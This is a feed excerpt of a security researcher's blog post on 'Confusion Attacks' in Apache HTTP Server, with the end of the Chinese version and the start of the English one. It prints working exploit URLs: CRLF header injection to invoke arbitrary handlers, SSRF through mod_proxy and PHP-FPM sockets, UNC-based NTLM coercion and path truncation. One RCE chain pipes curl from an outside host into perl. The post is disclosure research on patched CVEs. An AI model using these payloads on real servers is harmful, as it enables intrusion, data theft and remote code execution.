class="highlight"><code><span class="c1">#!/usr/bin/perl </span> <span class="k">use</span> <span class="nv">CGI</span><span class="p">;</span> <span class="k">my</span> <span class="nv">$q</span> <span class="o">=</span> <span class="nv">CGI</span><span class="o">-&gt;</span><span class="k">new</span><span class="p">;</span> <span class="k">my</span> <span class="nv">$redir</span> <span class="o">=</span> <span class="nv">$q</span><span class="o">-&gt;</span><span class="nv">param</span><span class="p">("</span><span class="s2">r</span><span class="p">");</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$redir</span> <span class="o">=~</span> <span class="sr">m{^https?://}</span><span class="p">)</span> <span class="p">{</span> <span class="k">print</span> <span class="p">"</span><span class="s2">Location: </span><span class="si">$redir</span><span class="se">\n</span><span class="p">";</span> <span class="p">}</span> <span class="k">print</span> <span class="p">"</span><span class="s2">Content-Type: text/html</span><span class="se">\n\n</span><span class="p">";</span> </code></pre></div></div> <h5 id="️-3-2-1-arbitrary-handler-to-information-disclosure">✔️ 3-2-1. Arbitrary Handler to Information Disclosure</h5> <p>首先是從任意模組處理器呼叫到資訊洩漏,這裡使用了 Httpd 內建的 <code class="language-plaintext highlighter-rouge">server-status</code> 模組處理器,這個模組處理器通常只被允許從本機存取:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Location</span><span class="sr"> /server-status</span><span class="p">&gt; </span> <span class="nc">SetHandler</span> server-status <span class="nc">Require</span> local <span class="p">&lt;/</span><span class="nl">Location</span><span class="p">&gt; </span></code></pre></div></div> <p>在擁有任意模組處理器呼叫後,可以透過複寫 <code class="language-plaintext highlighter-rouge">Content-Type</code> 去存取原本存取不到的敏感資訊:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo</em></strong> %0d%0a <br /> <strong><em>Content-Type:server-status</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p><img src="/assets/img/blog/20240809/9.png" alt="" /></p> <h5 id="️-3-2-2-arbitrary-handler-to-misinterpret-scripts">✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts</h5> <p>當然也能輕鬆的把一張圖片轉化成 PHP 後門,例如當使用者上傳了一個擁有合法副檔名的檔案後,可以透過這個攻擊手法指定特定模組 <code class="language-plaintext highlighter-rouge">mod_php</code> 去執行檔案內嵌的惡意程式碼,例如:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/uploads/avatar.webp</em></strong> %0d%0a <br /> <strong><em>Content-Type:application/x-httpd-php</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <h5 id="️-3-2-2-arbitrary-handler-to-full-ssrf">✔️ 3-2-2. Arbitrary Handler to Full SSRF</h5> <p>呼叫 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 存取任何協議以及任意網址當然也不在話下,例如:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo</em></strong> %0d%0a <br /> <strong><em>Content-Type:proxy:http://example.com/%3f</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p>另外這也是一個可以完整控制 HTTP 請求還有取得所有 HTTP 回應的 SSRF! 稍微可惜的一點是在存取 Cloud Metadata 時會被 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 會自動加上 <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> 標頭導致被 EC2 及 GCP 的 <a href="https://cloud.google.com/compute/docs/metadata/querying-metadata#limitations">Metadata 保護機制</a>阻擋,否則這會是一個更強大的攻擊手法。</p> <h5 id="️-3-2-3-arbitrary-handler-to-access-local-unix-domain-socket">✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket</h5> <p>然而 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 提供了一個更「方便」的功能 —— 可以存取本地的 Unix Domain Socket! 😉</p> <p>這裡展示透過存取 PHP-FPM 本地的 Unix Domain Socket 去執行位於 <code class="language-plaintext highlighter-rouge">/tmp/</code> 下的 PHP 後門:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo</em></strong> %0d%0a <br /> <strong><em>Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p>這個手法理論上還存在著更多的可能性,例如協議走私 (在 HTTP/HTTPS 協議間走私 FastCGI 😏) 或其它易受影響的 Local Sockets 等,這都交給有興趣的人繼續研究了。</p> <h5 id="️-3-2-4-arbitrary-handler-to-rce">✔️ 3-2-4. Arbitrary Handler to RCE</h5> <p>最後來展示一下如何透過一個常見的 CTF 小技巧把這個攻擊手法轉化成 RCE! 由於 PHP 官方的 <a href="https://hub.docker.com/_/php">Docker 映像檔</a> 在建構時引入了 PEAR 這套命令列 PHP 套件管理工具,透過其中的 <code class="language-plaintext highlighter-rouge">Pearcmd.php</code> 作為入口點可以讓我們達成更進一步的利用,詳細的歷史及原理可以參考由 <a href="https://x.com/phithon_xg">Phith0n</a> 撰寫的 <a href="https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html">Docker PHP LFI 總結文</a>。</p> <p>這裡我們利用在 <code class="language-plaintext highlighter-rouge">run-tests</code> 內的 Command Injection 來完成整個攻擊鏈,詳細的攻擊鏈如下:</p> <blockquote> <p>http://server/cgi-bin/redir.cgi?r=http:// %0d%0a <br /> <strong><em>Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php</em></strong> %0d%0a <br /> <strong><em>Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php</em></strong> %0d%0a <br /> %0d%0a <br /></p> </blockquote> <p>網路上經常在 Security Advisory 或 Bug Bounty 看到把 CRLF Injection 或 Header Injection 當成 XSS 報告,雖然確實有機會透過 SSO 串出 Account Takeover 等精彩漏洞,但請不要忘了它也能串出 Server-Side RCE,這個示範證明了它的可能!</p> <p><img src="/assets/img/blog/20240809/10.png" alt="" /></p> <p><br /></p> <h3 id="-4-其它漏洞">🔥 4. 其它漏洞</h3> <p>基本上整個 Confusion Attacks 系列到這邊差不多告一個段落,然而在研究 Apache HTTP Server 的過程中還有些值得一提的漏洞因此將它們獨立出來。</p> <p><br /></p> <h4 id="️-cve-2024-38472---基於-windows-unc-的-ssrf">⚔️ CVE-2024-38472 - 基於 Windows UNC 的 SSRF</h4> <p>首先是 <code class="language-plaintext highlighter-rouge">apr_filepath_merge()</code> 函數在 Windows 的實作允許使用 UNC 路徑,下面提供兩種不同的觸發路徑讓攻擊者可以向任意主機發起 NTLM 認證:</p> <h5 id="️-透過-http-請求解析器觸發">✔️ 透過 HTTP 請求解析器觸發</h5> <p>想要直接透過 HTTP 請求觸發需要在 Httpd 中設置額外的設定,雖然這個設定第一眼看起來有點不現實,但似乎經常與 Tomcat (<code class="language-plaintext highlighter-rouge">mod_jk</code>、<code class="language-plaintext highlighter-rouge">mod_proxy_ajp</code>) 或是與 <a href="https://httpd.apache.org/docs/2.4/en/mod/core.html#allowencodedslashes">PATH_INFO</a> 一起出現:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AllowEncodedSlashes</span> <span class="ss">On</span> </code></pre></div></div> <p>另外由於 Httpd 在 2.4.49 後重寫了核心 HTTP 請求解析器邏輯,要在大於此版本的 Httpd 上觸發漏洞需要再額外加上一個設定:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AllowEncodedSlashes</span> <span class="ss">On</span> MergeSlashes <span class="ss">Off</span> </code></pre></div></div> <p>透過兩個 <code class="language-plaintext highlighter-rouge">%5C</code> 可以使強迫 Httpd 向 <code class="language-plaintext highlighter-rouge">attacker-server</code> 發起 NTLM 認證,實務上也可透過 <a href="https://en.hackndo.com/ntlm-relay/">NTLM Relay</a> 的方式將此 SSRF 轉化成 RCE!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/%5C%5Cattacker-server/path/to </code></pre></div></div> <p><img src="/assets/img/blog/20240809/11.png" alt="" /></p> <h5 id="️-透過-type-map-觸發">✔️ 透過 Type-Map 觸發</h5> <p><a href="https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/mods-available/mime.conf/#L235">Debian/Ubuntu 的 Httpd 發行版</a>中預設啟用了 Type-Map:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddHandler</span> type-map <span class="ss">var</span> </code></pre></div></div> <p>透過上傳一個 <code class="language-plaintext highlighter-rouge">.var</code> 檔案到伺服器,將其中 URI 欄位指定成 UNC 路徑也可強迫伺服器向攻擊者發起 NTLM 認證,這也是我所提出的<a href="https://github.com/orangetw/My-CTF-Web-Challenges?tab=readme-ov-file#ostyle">第二個 <code class="language-plaintext highlighter-rouge">.var</code> 小技巧</a> 😉</p> <p><br /></p> <h4 id="️-cve-2024-39573---基於-rewriterule-前綴可完全控制的-ssrf">⚔️ CVE-2024-39573 - 基於 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 前綴可完全控制的 SSRF</h4> <p>最後則是當位於 <code class="language-plaintext highlighter-rouge">Server Config</code> 或是 <code class="language-plaintext highlighter-rouge">VirtualHost</code> 中的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 前綴完全可控時,可以呼叫到 Proxy 以及相關子模組:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> ^/broken(.*) $1 </code></pre></div></div> <p>透過下列網址可將請求轉交給 <code class="language-plaintext highlighter-rouge">mod_proxy</code> 處理:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/brokenproxy:unix:/run/[...]|http://path/to </code></pre></div></div> <p>但如果網管有好好測試,就會發現這樣子的規則是不實際的,所以原本只把它當成另外一個漏洞的搭配組合一起回報,沒想到這個行為也被當成一個安全邊界修復。 再隨著修補出來後也看到其他研究員把同樣行為套用在 Windows UNC 上獲得另外一個額外的 CVE。</p> <p><br /></p> <h2 id="未來研究方向">未來研究方向</h2> <p>最後是關於這份研究的未來的一些展望以及可加強的地方,基本上 Confusion Attacks 仍然是一個很有潛力的攻擊面,尤其是我這次的研究主要也只專注在兩個欄位上而已,只要 Apache HTTP Server 沒有好好從底層進行結構性加強或提供給開發者一個好的開發標準,相信未來還會有更多「混淆」出現!</p> <p>至於還有哪些方面可以加強呢? 其實不同的 Httpd 發行版會有不同的設定檔案,因此其它的 Unix-Like 系統例如 RHEL 家族、BSD 系列,甚至使用到 Httpd 的套裝軟體,它們都有機會出現更多可跳脫的重寫規則、更多厲害的 Local Gadgets 甚至意料外的符號跳躍等等 ,就交給有興趣的人繼續吧。</p> <p>最後由於時程因素,來不及分享更多在實際網站、設備,甚至開源專案上發現並利用的真實案例,不過你應該已經可以想像 —— 在真實世界中絕對還藏著千千萬萬個比想像中還要大量未開採的規則、可繞過的認證,以及隱藏在檯面下的 CGI,至於如何把這篇裡面所講到的技巧實際應用在全世界上? 接下來就是你們的任務了!</p> <p><br /></p> <h2 id="結語">結語</h2> <p>維護一個 Open Source 專案真的是一件很困難的事,尤其在讓使用者方便的同時兼顧舊版本的相容性,稍有不慎可能就會造成整個系統被攻破 (例如 Httpd 2.4.49 中因為一個路徑處理邏輯小改動導致災難性的 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773">CVE-2021-41773</a>),整個開發過程必須要小心翼翼的踩在一堆遺留程式碼以及技術債上。 所以如果真的有 Apache HTTP Server 的開發者看到這篇文我想說: 謝謝你們的貢獻!</p> https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server/ https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server Fri, 09 Aug 2024 00:00:00 +0800 Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! <h6 id="orange-tsai-orange_8361--繁體中文版本--english-version">Orange Tsai (<a href="https://x.com/orange_8361">@orange_8361</a>)  |  <a href="/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server/">繁體中文版本</a>  |  <a href="/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/">English Version</a></h6> <style> .language-plaintext { background-color: #f9f2f4; } .highlight { border-left: 2px solid #44D62C !important; } </style> <p>Hey there! This is my research on Apache HTTP Server presented at <a href="https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-pre-recorded-40227">Black Hat USA 2024</a>. Additionally, this research will also be presented at <a href="https://hitcon.org/2024/CMT/agenda/eff94e55-3f1d-4229-a65a-65ade9524421/">HITCON</a> and <a href="https://orangecon.nl/">OrangeCon</a>. If you’re interested in getting a preview, you can check the slides here:</p> <blockquote> <p><a href="https://i.blackhat.com/BH-US-24/Presentations/US24-Orange-Confusion-Attacks-Exploiting-Hidden-Semantic-Thursday.pdf">Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</a></p> </blockquote> <p>Also, I would like to thank Akamai for their friendly outreach! They released mitigation measures immediately after this research was published (details can be found on <a href="https://www.akamai.com/blog/security-research/2024-august-apache-waf-proactive-collaboration-orange-tsai-devcore">Akamai’s blog</a>).</p> <p><br /></p> <h2 id="tldr">TL;DR</h2> <p>This article explores architectural issues within the Apache HTTP Server, highlighting several technical debts within Httpd, <strong>including 3 types of Confusion Attacks, 9 new vulnerabilities, 20 exploitation techniques, and over 30 case studies</strong>. The content includes, but is not limited to:</p> <ol> <li>How a single <code class="language-plaintext highlighter-rouge">?</code> can bypass Httpd’s built-in access control and authentication.</li> <li>How unsafe <code class="language-plaintext highlighter-rouge">RewriteRules</code> can escape the Web Root and access the entire filesystem.</li> <li>How to leverage a piece of code from 1996 to transform an XSS into RCE.</li> </ol> <p><br /></p> <h2 id="outline">Outline</h2> <ul> <li><a href="#before-the-story">Before the Story</a></li> <li><a href="#how-did-the-story-begin">How Did the Story Begin?</a></li> <li><a href="#why-apache-http-server-smells-bad">Why Apache HTTP Server Smells Bad?</a></li> <li><a href="#a-whole-new-attack--confusion-attack">A Whole New Attack — Confusion Attack</a> <ul> <li><a href="#-1-filename-confusion">1. Filename Confusion</a> <ul> <li><a href="#%ef%b8%8f-primitive-1-1-truncation">Primitive 1-1. Truncation</a> <ul> <li><a href="#%ef%b8%8f-1-1-1-path-truncation">1-1-1. Path Truncation</a></li> <li><a href="#%ef%b8%8f-1-1-2-mislead-rewriteflag-assignment">1-1-2. Mislead RewriteFlag Assignment</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-1-2-acl-bypass">Primitive 1-2. ACL Bypass</a></li> </ul> </li> <li><a href="#-2-documentroot-confusion">2. DocumentRoot Confusion</a> <ul> <li><a href="#%ef%b8%8f-primitive-2-1-server-side-source-code-disclosure">Primitive 2-1. Server-Side Source Code Disclosure</a> <ul> <li><a href="#%ef%b8%8f-2-1-1-disclose-cgi-source-code">2-1-1. Disclose CGI Source Code</a></li> <li><a href="#%ef%b8%8f-2-1-2-disclose-php-source-code">2-1-2. Disclose PHP Source Code</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-2-2-local-gadgets-manipulation">Primitive 2-2. Local Gadgets Manipulation!</a> <ul> <li><a href="#%ef%b8%8f-2-2-1-local-gadget-to-information-disclosure">2-2-1. Local Gadget to Information Disclosure</a></li> <li><a href="#%ef%b8%8f-2-2-2-local-gadget-to-xss">2-2-2. Local Gadget to XSS</a></li> <li><a href="#%ef%b8%8f-2-2-3-local-gadget-to-lfi">2-2-3. Local Gadget to LFI</a></li> <li><a href="#%ef%b8%8f-2-2-4-local-gadget-to-ssrf">2-2-4. Local Gadget to SSRF</a></li> <li><a href="#%ef%b8%8f-2-2-5-local-gadget-to-rce">2-2-5. Local Gadget to RCE</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-2-3-jailbreak-from-local-gadgets">Primitive 2-3. Jailbreak from Local Gadgets</a> <ul> <li><a href="#%ef%b8%8f-2-3-1-jailbreak-from-local-gadgets">2-3-1. Jailbreak from Local Gadgets</a></li> <li><a href="#%ef%b8%8f-2-3-2-jailbreak-local-gadgets-to-redmine-rce">2-3-2. Jailbreak Local Gadgets to Redmine RCE</a></li> </ul> </li> </ul> </li> <li><a href="#-3-handler-confusion">3. Handler Confusion</a> <ul> <li><a href="#%ef%b8%8f-primitive-3-1-overwrite-the-handler">Primitive 3-1. Overwrite the Handler</a> <ul> <li><a href="#%ef%b8%8f-3-1-1-overwrite-handler-to-disclose-php-source-code">3-1-1. Overwrite Handler to Disclose PHP Source Code</a></li> <li><a href="#%ef%b8%8f-3-1-2-overwrite-handler-to---">3-1-2. Overwrite Handler to ██████ ███████ ██████</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-3-2-invoke-arbitrary-handlers">Primitive 3-2. Invoke Arbitrary Handlers</a> <ul> <li><a href="#%ef%b8%8f-3-2-1-arbitrary-handler-to-information-disclosure">3-2-1. Arbitrary Handler to Information Disclosure</a></li> <li><a href="#%ef%b8%8f-3-2-2-arbitrary-handler-to-misinterpret-scripts">3-2-2. Arbitrary Handler to Misinterpret Scripts</a></li> <li><a href="#%ef%b8%8f-3-2-2-arbitrary-handler-to-full-ssrf">3-2-2. Arbitrary Handler to Full SSRF</a></li> <li><a href="#%ef%b8%8f-3-2-3-arbitrary-handler-to-access-local-unix-domain-socket">3-2-3. Arbitrary Handler to Access Local Unix Domain Socket</a></li> <li><a href="#%ef%b8%8f-3-2-4-arbitrary-handler-to-rce">3-2-4. Arbitrary Handler to RCE</a></li> </ul> </li> </ul> </li> <li><a href="#-4-other-vulnerabilities">4. Other Vulnerabilities</a> <ul> <li><a href="#%ef%b8%8f-cve-2024-38472---windows-unc-based-ssrf">CVE-2024-38472 - Windows UNC-based SSRF</a> <ul> <li><a href="#%ef%b8%8f-triggered-via-http-request-parser">Triggered via HTTP Request Parser</a></li> <li><a href="#%ef%b8%8f-triggered-via-type-map">Triggered via Type-Map</a></li> </ul> </li> <li><a href="#%ef%b8%8f-cve-2024-39573---ssrf-via-full-control-of-rewriterule-prefix">CVE-2024-39573 - SSRF via Full Control of RewriteRule Prefix</a></li> </ul> </li> </ul> </li> <li><a href="#future-works">Future Works</a></li> <li><a href="#conclusion">Conclusion</a></li> </ul> <p><br /></p> <h2 id="before-the-story">Before the Story</h2> <p>This section is just some personal murmurs. If you’re only interested in the technical details, jump straight to — <a href="#how-did-the-story-begin">How Did the Story Begin?</a></p> <p>As a researcher, perhaps the greatest joy is seeing your work recognized and understood by peers. Therefore, after completing a significant research with fruitful results, it is natural to want the world to see it — which is why I’ve presented multiple times at Black Hat USA and DEFCON. As you might know, since 2022, I have been unable to obtain a valid travel authorization to enter the U.S. (For Taiwan, travel authorization under the <a href="https://esta.cbp.dhs.gov/">Visa Waiver Program</a> can typically be obtained online within minutes to hours), leading me to miss the in-person talk at <a href="https://www.blackhat.com/us-22/briefings/schedule/index.html#lets-dance-in-the-cache---destabilizing-hash-table-on-microsoft-iis-27199">Black Hat USA 2022</a>. Even a solo trip to Machu Picchu and Easter Island in 2023 couldn’t transit through the U.S. :(</p> <p>To address this situation, I started preparing for a B1/B2 visa in January this year, writing various documents, interviewing at the embassy, and endlessly waiting. It’s not fun. But to have my work seen, I still spent a lot of time seeking all possibilities, even until three weeks before the conference, it was unclear whether my talk would be canceled or not (BH only accepted in-person talks, but thanks to the RB, it could ultimately be presented in pre-recorded format). So, everything you see, including slides, videos, and this blog, was completed within just a few dozen days. 😖</p> <p>As a pure researcher with a clear conscience, my attitude towards vulnerabilities has always been — they should be directly reported to and fixed by the vendor. Writing these words isn’t for any particular reason, just to record some feelings of helplessness, efforts in this year, and to thank those who have helped me this year, thank you all :)</p> <p><br /></p> <h2 id="how-did-the-story-begin">How Did the Story Begin?</h2> <p>Around the beginning of this year, I started thinking about my next research target. As you might know, I always aim to challenge big targets that can impact the entire internet, so I began searching for some complex topics or interesting open-source projects like Nginx, PHP, or even delved into RFCs to strengthen my understanding of protocol details.</p> <p>While most attempts ended in failure (though a few might become topics for next blog posts 😉), reading these codes reminded me of a quick review I had done of Apache HTTP Server last year! Although I didn’t dive deep into the code due to the work schedule, I had already “smelled” something not quite right about its coding style at that time.</p> <p>So this year, I decided to continue on that research, transforming the “bad smells” from an indescribable “feeling” into concrete research on Apache HTTP Server!</p> <p><br /></p> <h2 id="why-apache-http-server-smells-bad">Why Apache HTTP Server Smells Bad?</h2> <p>Firstly, the Apache HTTP Server is a world constructed by “modules,” as proudly declared in its <a href="https://httpd.apache.org/docs/2.4/mpm.html">official documentation</a> regarding its modularity:</p> <blockquote> <p>Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.</p> </blockquote> <p>The entire Httpd service relies on hundreds of small modules working together to handle a client’s HTTP request. <strong>Among the <a href="https://httpd.apache.org/docs/2.4/mod/">136 modules listed by the official documentation</a>, about half are either enabled by default or frequently used by websites</strong>!</p> <p>What’s even more surprising is that these modules also maintain a colossal <code class="language-plaintext highlighter-rouge">request_rec</code> structure while processing client HTTP requests. This structure includes all the elements involved in handling HTTP, with its detailed definition available in <a href="https://github.com/apache/httpd/blob/2.4.58/include/httpd.h#L838">include/httpd.h</a>. All modules depend on this massive structure for synchronization, communication, and data exchange. As an HTTP request passes through several phases, modules act like players in a game of catch, passing the structure from one to another. Each module even has the ability to modify any value in this structure according to its own preferences!</p> <p><img src="/assets/img/blog/20240809/1.png" alt="" /></p> <p>This type of collaboration is not new from a software engineering perspective. Each module simply focuses on its own task. As long as everyone finishes their work, then the client can enjoy the service provided by Httpd. This approach might work well with a few modules, <strong>but what happens when we scale it up to hundreds of modules collaborating — can they really work well together?</strong> 🤔</p> <p>Our starting point is straightforward — <strong>the modules do not fully understand each other, yet they are required to cooperate</strong>. Each module might be implemented by different people, with the code undergoing years of iterations, refactors, and modifications. Do they really still know what they are doing? Even if they understand their own duty, what about other modules’ implementation details? Without any good development standards or guidelines, there must be several gaps that we can exploit!</p> <p><br /></p> <h2 id="a-whole-new-attack--confusion-attack">A Whole New Attack — Confusion Attack</h2> <p>Based on these observations, we started <strong>focusing on the “relationships” and “interactions” among these modules</strong>. If a module accidentally modifies a structure field that it considers unimportant, but is crucial for another module, it could affect the latter’s decisions. Furthermore, if the definitions or semantics of the fields are not precise enough, causing ambiguities in how modules understand the same fields, it could lead to potential security risks as well!</p> <p>From this starting point, we developed three different types of attacks, as these attacks are more or less related to the misuse of structure fields. Hence, we’ve named this attack surface “Confusion Attack,” and the following are the attacks we developed:</p> <ol> <li><strong>Filename Confusion</strong></li> <li><strong>DocumentRoot Confusion</strong></li> <li><strong>Handler Confusion</strong></li> </ol> <p>Through these attacks, we have identified 9 different vulnerabilities:</p> <ol> <li><strong>CVE-2024-38472</strong> - Apache HTTP Server on Windows UNC SSRF</li> <li><strong>CVE-2024-39573</strong> - Apache HTTP Server proxy encoding problem</li> <li><strong>CVE-2024-38477</strong> - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request</li> <li><strong>CVE-2024-38476</strong> - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect</li> <li><strong>CVE-2024-38475</strong> - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path</li> <li><strong>CVE-2024-38474</strong> - Apache HTTP Server weakness with encoded question marks in backreferences</li> <li><strong>CVE-2024-38473</strong> - Apache HTTP Server proxy encoding problem</li> <li><strong>CVE-2023-38709</strong> - Apache HTTP Server: HTTP response splitting</li> <li><strong>CVE-2024-??????</strong> - [redacted]</li> </ol> <p>These vulnerabilities were reported through the official security mailing list and were addressed by the Apache HTTP Server in the <a href="https://httpd.apache.org/security/vulnerabilities_24.html">2.4.60 update</a> published on 2024-07-01.</p> <p>As this is a new attack surface from Httpd’s architectural design and its internal mechanisms, naturally, <del>the first person to delve into it can find the most vulnerabilities. Thus, I currently hold the most CVEs from Apache HTTP Server 😉.</del> it leads to many updates that are not backward compatible. Therefore, patching these issues is not easy for many long-running production servers. If administrators update without careful consideration, they might disrupt existing configurations, causing service downtime. 😨</p> <p>Now, it’s time to get started with our Confusion Attacks! Are you ready?</p> <p><br /></p> <h3 id="-1-filename-confusion">🔥 1. Filename Confusion</h3> <p>The first issue stems from confusion regarding the filename field. Literally, <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> should represent a filesystem path. However, in Apache HTTP Server, some modules treat it as a URL. If, within an HTTP context, most modules consider <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> as a filesystem path but some others treat it as a URL, this inconsistency can lead to security issues!</p> <p><br /></p> <h4 id="️-primitive-1-1-truncation">⚔️ Primitive 1-1. Truncation</h4> <p>So, which modules treat <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> as a URL? The first is <code class="language-plaintext highlighter-rouge">mod_rewrite</code>, which allows sysadmins to easily rewrite a path pattern to a specified substitution target using the <code class="language-plaintext highlighter-rouge">RewriteRule</code> directive:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> Pattern Substitution [flags] </code></pre></div></div> <p>The target can be either a filesystem path or a URL. This feature likely exists for user experience. However, this “convenience” also introduces risks. For instance, <strong>while rewriting the target paths, <code class="language-plaintext highlighter-rouge">mod_rewrite</code> forcefully treats all results as a URL</strong>, truncating the path after a question mark <code class="language-plaintext highlighter-rouge">%3F</code>. This leads to the following two exploitations.</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141">modules/mappers/mod_rewrite.c#L4141</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* * Apply a single RewriteRule */</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">apply_rewrite_rule</span><span class="p">(</span><span class="n">rewriterule_entry</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span> <span class="n">rewrite_ctx</span> <span class="o">*</span><span class="n">ctx</span><span class="p">)</span> <span class="p">{</span> <span class="n">ap_regmatch_t</span> <span class="n">regmatch</span><span class="p">[</span><span class="n">AP_MAX_REG_MATCH</span><span class="p">];</span> <span class="n">apr_array_header_t</span> <span class="o">*</span><span class="n">rewriteconds</span><span class="p">;</span> <span class="n">rewritecond_entry</span> <span class="o">*</span><span class="n">conds</span><span class="p">;</span> <span class="c1">// [...]</span> <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">rewriteconds</span><span class="o">-&gt;</span><span class="n">nelts</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span> <span class="n">rewritecond_entry</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">conds</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">apply_rewrite_cond</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">ctx</span><span class="p">);</span> <span class="c1">// [...] do the remaining stuff</span> <span class="p">}</span> <span class="cm">/* Now adjust API's knowledge about r-&gt;filename and r-&gt;args */</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">filename</span> <span class="o">=</span> <span class="n">newuri</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">perdir</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">RULEFLAG_DISCARDPATHINFO</span><span class="p">))</span> <span class="p">{</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">path_info</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span> <span class="n">splitout_queryargs</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">);</span> <span class="c1">// &lt;------- [!!!] Truncate the `r-&gt;filename`</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <h5 id="️-1-1-1-path-truncation">✔️ 1-1-1. Path Truncation</h5> <p>The first primitive leverages this truncation on the filesystem path. Imagine the following <code class="language-plaintext highlighter-rouge">RewriteRule</code>:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteRule</span> "^/user/(.+)$" "/var/user/$1/profile.yml" </code></pre></div></div> <p>The server would open the corresponding profile based on the username followed by the path <code class="language-plaintext highlighter-rouge">/user/</code>, for example:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/user/orange <span class="c"># the output of file `/var/user/orange/profile.yml`</span> </code></pre></div></div> <p>Since <code class="language-plaintext highlighter-rouge">mod_rewrite</code> forcibly treats all rewritten result as a URL, even when the target is a filesystem path, it can be truncated at a question mark, cutting off the tailing <code class="language-plaintext highlighter-rouge">/profile.yml</code>, like:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/user/orange%2Fsecret.yml%3F <span class="c"># the output of file `/var/user/orange/secret.yml`</span> 